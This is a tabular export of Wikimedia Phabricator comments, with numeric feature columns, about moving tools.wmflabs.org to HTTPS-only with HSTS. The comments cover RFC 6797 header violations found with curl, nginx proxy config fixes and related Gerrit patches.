We should gradually work towards the one-year max-age imo. Also, is there any way for the nginx proxy to hide the header if a tool chooses to send their own?",,,1588347043,,PHID-USER-wel3wo6tppcxgnrthxls,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,False,,,252,True,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,7.0,12.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,10.0,2.0,0.0,12.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,5.0,12.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.4390243902439024,0.8780487804878049,"QUOTE
QUOTE

We should gradually work towards the one-year max-age imo. Also, is there any way for the nginx proxy to hide the header if a tool chooses to send their own?"
1495003,Migrate tools.wmflabs.org to https only (and set HSTS),"Change 593747 had a related patch set uploaded (by QEDK; owner: QEDK):
[operations/puppet@production] toolforge: Increase HSTS max-age directive to one month

[[https://gerrit.wikimedia.org/r/593747]]",,,1588346493,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,False,,,252,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,15.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.948717948717949,0.8461538461538461,"Change 593747 had a related patch set uploaded (by QEDK; owner: QEDK):
[operations/puppet@production] toolforge: Increase HSTS max-age directive to one month

[[GERRIT_URL]]"
1486563,Migrate tools.wmflabs.org to https only (and set HSTS),"We have left the POST loophole open for more than a year. Now that we have introduced [[https://wikitech.wikimedia.org/wiki/News/Toolforge.org|the *.toolforge.org naming scheme]] (T234617), I think we should close the POST loophole, turn up the HSTS duration, and as a side effect fix the RFC violation reported in T102367#5056919.",,,1587078915,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,True,,,250,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,7.0,0.0,2.0,12.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,10.0,0.0,17.0,2.0,2.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,7.0,12.0,10.0,0.0,0.0,0.0,7.0,0.0,0.0,3.0,0.0,0.0,2.0,0.0,5.0,3.8983050847457625,0.7796610169491526,"We have left the POST loophole open for more than a year. Now that we have introduced [[URL *.toolforge.org naming scheme]] (T234617), I think we should close the POST loophole, turn up the HSTS duration, and as a side effect fix the RFC violation reported in T102367#5056919."
1260565,Migrate tools.wmflabs.org to https only (and set HSTS),">>! In T102367#5056919, @Vgutierrez wrote:
> Currently tools.wmflabs.org is violating [[ https://tools.ietf.org/html/rfc6797#section-7.2 | RFC 6797 section 7.2 ]] by sending the HSTS header over HTTP:

My attempt at fixing this in https://gerrit.wikimedia.org/r/499669 was reverted in https://gerrit.wikimedia.org/r/#/c/operations/puppet/+/502308/.

Reasons for the revert:
# @bd808 did not actually test the nginx config changes and they were not syntactically correct.
# @bd808 did not remember that this exact same syntax problem is why we have the header sent over http in the first place. (See https://gerrit.wikimedia.org/r/#/c/operations/puppet/+/432935/ and its replacement in https://gerrit.wikimedia.org/r/#/c/operations/puppet/+/482142/).

We can't use the `if` construct in nginx config to guard the `add_header` setting. This in turn means that the entire nginx config used by domain-proxy and url-proxy will need to be rewritten if we want to ensure that the STS header is only presented to TLS secured connections. The current config for both mixes http and https handling in the same `server` config block leaving us no way to decide whether or not to emit the STS header. Splitting http and https into separate `server` blocks and only placing the STS header in the https server will fix that problem. It will require some mechanism to duplicate almost all of the other logic in the current config as long as we continue to support the POST loophole however.",,,1554765291,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,True,,,196,True,1.0,0.0,0.0,1.0,1.6666666666666667,5.666666666666667,0.0,0.0,0.0,0.3333333333333333,4.666666666666667,0.3333333333333333,0.0,1.3333333333333333,0.0,2.3333333333333335,0.0,5.333333333333333,11.333333333333334,0.0,3.0,0.0,0.3333333333333333,0.0,1.3333333333333333,0.6666666666666666,0.0,0.0,0.0,1.3333333333333333,0.3333333333333333,2.0,2.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,1.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,1.0,17.333333333333332,0.0,1.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,1.3333333333333333,0.0,0.0,0.0,0.0,0.0,6.0,1.6666666666666667,9.333333333333334,2.0,2.6666666666666665,9.333333333333334,0.0,0.0,0.0,0.6666666666666666,5.333333333333333,0.0,0.0,0.0,3.3333333333333335,11.333333333333334,4.333333333333333,0.0,0.0,0.0,3.3333333333333335,0.0,0.3333333333333333,0.0,0.3333333333333333,1.6666666666666667,0.0,0.0,0.0,4.164319248826291,0.7370892018779344,"QUOTE
QUOTE

My attempt at fixing this in GERRIT_URL was reverted in URL

Reasons for the revert:
#SCREEN_NAME did not actually test the nginx config changes and they were not syntactically correct.
#SCREEN_NAME did not remember that this exact same syntax problem is why we have the header sent over http in the first place. (See URL and its replacement in URL

We can't use the CODE construct in nginx config to guard the CODE setting. This in turn means that the entire nginx config used by domain-proxy and url-proxy will need to be rewritten if we want to ensure that the STS header is only presented to TLS secured connections. The current config for both mixes http and https handling in the same CODE config block leaving us no way to decide whether or not to emit the STS header. Splitting http and https into separate CODE blocks and only placing the STS header in the https server will fix that problem. It will require some mechanism to duplicate almost all of the other logic in the current config as long as we continue to support the POST loophole however."
1260345,Migrate tools.wmflabs.org to https only (and set HSTS),"Change 499669 **merged** by Bstorm:
[operations/puppet@production] dynamicproxy: Prevent STS header from non-TLS connections

[[https://gerrit.wikimedia.org/r/499669]]",,,1554749037,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,False,,,196,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.03125,0.75,"Change 499669 **merged** by Bstorm:
[operations/puppet@production] dynamicproxy: Prevent STS header from non-TLS connections

[[GERRIT_URL]]"
1252615,Migrate tools.wmflabs.org to https only (and set HSTS),"Change 499669 had a related patch set uploaded (by BryanDavis; owner: Bryan Davis):
[operations/puppet@production] dynamicproxy: Prevent STS header from non-TLS connections

[[https://gerrit.wikimedia.org/r/499669]]",,,1553724891,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,False,,,194,True,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,21.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,5.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,4.333333333333333,0.8717948717948718,"Change 499669 had a related patch set uploaded (by BryanDavis; owner: Bryan Davis):
[operations/puppet@production] dynamicproxy: Prevent STS header from non-TLS connections

[[GERRIT_URL]]"
1252587,Migrate tools.wmflabs.org to https only (and set HSTS),"{nav icon=file, name=Mentioned in SAL (#wikimedia-cloud), href=https://tools.wmflabs.org/sal/log/AWnBIQbWIm9Dp5A3nWNs} [2019-03-27T21:49:20Z] <bd808> Updated to a03551b (Remove STS header and http->https redirect) T102367",,,1553723361,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,False,,,194,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,9.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.511627906976744,0.8372093023255814,"{nav icon=file, name=Mentioned in SAL (#wikimedia-cloud), href=URL [2019-03-27T21:49:20Z] <bd808> Updated to a03551b (Remove STS header and http->https redirect) T102367"
1252476,Migrate tools.wmflabs.org to https only (and set HSTS),"Live config from tools-proxy-03.tools.eqiad.wmflabs shows only the `add_header Strict-Transport-Security ""max-age=86400"";` in the nginx config. Looking at the logic of how I added that, I think I assumed (incorrectly apparently) that the `return 301 https://$host$request_uri;` redirect would stop all further processing of the request. It should be possible to adjust the logic so that this header is only sent when the connection is using TLS.

The `Strict-Transport-Security: max-age=86400; includeSubDomains` header is actually being sent by the ""admin"" application ({R1922:7be2a095ce41c2b4e8aa8abe99760afdee131f90}). This is a leftover from the experiments prior to adding this header at the proxy level. We should remove this from the app. We should probably also add a `proxy_hide_header Strict-Transport-Security;` config line to the proxy to keep any other tool from sending arbitrary STS headers to the client.",,,1553717213,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,True,,,194,True,1.0,0.0,0.0,1.0,0.0,4.5,1.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,3.0,0.5,6.0,11.5,0.0,1.0,2.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,3.5,1.5,0.5,2.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,2.0,0.5,0.5,0.0,0.0,0.5,13.0,1.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,10.0,3.5,10.0,3.0,0.0,14.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.5,11.5,3.0,0.0,1.5,0.0,3.5,0.0,1.0,1.5,0.0,2.5,0.0,0.0,0.0,4.5038363171355495,0.7079070758738277,"Live config from tools-proxy-03.tools.eqiad.wmflabs shows only the CODE in the nginx config. Looking at the logic of how I added that, I think I assumed (incorrectly apparently) that the CODE redirect would stop all further processing of the request. It should be possible to adjust the logic so that this header is only sent when the connection is using TLS.

The CODE header is actually being sent by the ""admin"" application ({R1922:7be2a095ce41c2b4e8aa8abe99760afdee131f90}). This is a leftover from the experiments prior to adding this header at the proxy level. We should remove this from the app. We should probably also add a CODE config line to the proxy to keep any other tool from sending arbitrary STS headers to the client."
1250898,Migrate tools.wmflabs.org to https only (and set HSTS),">>! In T102367#5057208, @aborrero wrote:
> I assume this is something in our nginx proxy, right? @Vgutierrez Could you please help us review the config?

so from a quick review of https://gerrit.wikimedia.org/r/plugins/gitiles/operations/puppet/+/production/modules/dynamicproxy/templates/domainproxy.conf, line 56 is responsible of sending the HSTS header twice over HTTPS as the HSTS header is also set as part of line 39.
I assume that line 56 again is responsible for sending the header over HTTP as the same virtualhost is being used for serving http and https traffic",,,1553596294,,PHID-USER-cfx2ss3r7ptjynotxt5l,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,False,,,194,True,0.0,0.0,0.0,5.0,0.0,8.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,0.0,0.0,2.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,12.0,2.0,2.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,2.0,19.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,3.953125,0.65625,"QUOTE
QUOTE

so from a quick review of URL line 56 is responsible of sending the HSTS header twice over HTTPS as the HSTS header is also set as part of line 39.
I assume that line 56 again is responsible for sending the header over HTTP as the same virtualhost is being used for serving http and https traffic"
1250887,Migrate tools.wmflabs.org to https only (and set HSTS),"I assume this is something in our nginx proxy, right? @Vgutierrez Could you please help us review the config?",,,1553595465,,PHID-USER-yue54ihblxe4zj3mpohv,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,False,,,194,True,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,5.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,20.0,5.0,5.0,5.0,0.0,0.0,20.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,4.55,1.0,"I assume this is something in our nginx proxy, right?SCREEN_NAME Could you please help us review the config?"
1250790,Migrate tools.wmflabs.org to https only (and set HSTS),"It's also violating [[ https://tools.ietf.org/html/rfc6797#section-7.1 | RFC 6797 section 7.1 ]] by sending the HSTS header twice over HTTPS:


> If an STS header field is included, the HSTS Host MUST include only one such header field.

```
curl --http1.1 -v https://tools.wmflabs.org -o /dev/null
* Rebuilt URL to: https://tools.wmflabs.org/
Trying 185.15.56.5...
* TCP_NODELAY set
* Connected to tools.wmflabs.org (185.15.56.5) port 443 (#0)
[output omitted]
> GET / HTTP/1.1
> Host: tools.wmflabs.org
> User-Agent: curl/7.54.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Server: nginx/1.13.6
< Date: Tue, 26 Mar 2019 06:22:52 GMT
< Content-Type: text/html; charset=UTF-8
< Content-Length: 8719
< Connection: keep-alive
< Set-Cookie: _s=eclunr0i35p2nebqbnq70venbf; path=/; HttpOnly
< Vary: Cookie
< X-Frame-Options: DENY
< Content-Security-Policy: default-src 'self' https://tools-static.wmflabs.org; child-src 'none'; object-src 'none'; img-src 'self' data: https://tools-static.wmflabs.org
< Strict-Transport-Security: max-age=86400; includeSubDomains
< Strict-Transport-Security: max-age=86400```",,,1553581638,,PHID-USER-cfx2ss3r7ptjynotxt5l,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,False,,,194,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,23.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,3.0,6.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,3.129032258064516,0.8387096774193549,"It's also violating [[ URL | RFC 6797 section 7.1 ]] by sending the HSTS header twice over HTTPS:


QUOTE

``CODE``"
1250789,Migrate tools.wmflabs.org to https only (and set HSTS),"Currently tools.wmflabs.org is violating [[ https://tools.ietf.org/html/rfc6797#section-7.2 | RFC 6797 section 7.2 ]] by sending the HSTS header over HTTP:


> An HSTS Host MUST NOT include the STS header field in HTTP responses conveyed over non-secure transport.

```
$ curl -v http://tools.wmflabs.org
* Rebuilt URL to: http://tools.wmflabs.org/
*   Trying 185.15.56.5...
* TCP_NODELAY set
* Connected to tools.wmflabs.org (185.15.56.5) port 80 (#0)
> GET / HTTP/1.1
> Host: tools.wmflabs.org
> User-Agent: curl/7.54.0
> Accept: */*
>
< HTTP/1.1 301 Moved Permanently
< Server: nginx/1.13.6
< Date: Tue, 26 Mar 2019 06:13:57 GMT
< Content-Type: text/html
< Content-Length: 185
< Connection: keep-alive
< Location: https://tools.wmflabs.org/
< Strict-Transport-Security: max-age=86400
```
",,,1553581206,,PHID-USER-cfx2ss3r7ptjynotxt5l,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,False,,,194,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,23.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,3.6129032258064515,0.8387096774193549,"Currently tools.wmflabs.org is violating [[ URL | RFC 6797 section 7.2 ]] by sending the HSTS header over HTTP:


QUOTE

``CODE``
"
1203474,Migrate tools.wmflabs.org to https only (and set HSTS),Conditional redirect is live and announced at https://phabricator.wikimedia.org/phame/post/view/132/migrating_tools.wmflabs.org_to_https/,,,1546549926,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,True,,,183,True,0.0,0.0,0.0,0.0,0.0,25.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,25.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.25,1.0,Conditional redirect is live and announced at URL
1203458,Migrate tools.wmflabs.org to https only (and set HSTS),"Change 482142 **merged** by Andrew Bogott:
[operations/puppet@production] toolforge: Redirect GET & HEAD to https (take 2)

[[https://gerrit.wikimedia.org/r/482142]]",,,1546549154,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,False,,,183,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,6.0,0.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,3.5428571428571427,0.7714285714285715,"Change 482142 **merged** by Andrew Bogott:
[operations/puppet@production] toolforge: Redirect GET & HEAD to https (take 2)

[[GERRIT_URL]]"
1203432,Migrate tools.wmflabs.org to https only (and set HSTS),"Change 482142 had a related patch set uploaded (by BryanDavis; owner: Bryan Davis):
[operations/puppet@production] toolforge: Redirect GET & HEAD to https (take 2)

[[https://gerrit.wikimedia.org/r/482142]]",,,1546547874,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,False,,,183,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,20.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,10.0,3.8536585365853657,0.8536585365853658,"Change 482142 had a related patch set uploaded (by BryanDavis; owner: Bryan Davis):
[operations/puppet@production] toolforge: Redirect GET & HEAD to https (take 2)

[[GERRIT_URL]]"
1203391,Migrate tools.wmflabs.org to https only (and set HSTS),"Change 432935 **merged** by Andrew Bogott:
[operations/puppet@production] toolforge: Redirect GET & HEAD to https

[[https://gerrit.wikimedia.org/r/432935]]",,,1546545617,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,False,,,183,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,3.0,0.0,0.0,6.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,3.774193548387097,0.7419354838709677,"Change 432935 **merged** by Andrew Bogott:
[operations/puppet@production] toolforge: Redirect GET & HEAD to https

[[GERRIT_URL]]"
1203226,Migrate tools.wmflabs.org to https only (and set HSTS),"Change 481979 **merged** by Andrew Bogott:
[operations/puppet@production] toolforge: Redirect tools-static to https

[[https://gerrit.wikimedia.org/r/481979]]",,,1546532146,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,False,,,183,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,3.903225806451613,0.7419354838709677,"Change 481979 **merged** by Andrew Bogott:
[operations/puppet@production] toolforge: Redirect tools-static to https

[[GERRIT_URL]]"
1202962,Migrate tools.wmflabs.org to https only (and set HSTS),"Change 481979 had a related patch set uploaded (by BryanDavis; owner: Bryan Davis):
[operations/puppet@production] toolforge: Redirect tools-static to https

[[https://gerrit.wikimedia.org/r/481979]]",,,1546480194,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,False,,,183,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,16.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,8.0,0.0,3.0,0.0,0.0,5.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,11.0,4.1891891891891895,0.8648648648648649,"Change 481979 had a related patch set uploaded (by BryanDavis; owner: Bryan Davis):
[operations/puppet@production] toolforge: Redirect tools-static to https

[[GERRIT_URL]]"
1067674,Migrate tools.wmflabs.org to https only (and set HSTS),"Change 432935 had a related patch set uploaded (by BryanDavis; owner: Bryan Davis):
[operations/puppet@production] toolforge: Redirect GET & HEAD to https

[[https://gerrit.wikimedia.org/r/432935]]",,,1526272496,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,False,,,149,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,22.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,8.0,0.0,3.0,0.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,11.0,4.081081081081081,0.8648648648648649,"Change 432935 had a related patch set uploaded (by BryanDavis; owner: Bryan Davis):
[operations/puppet@production] toolforge: Redirect GET & HEAD to https

[[GERRIT_URL]]"
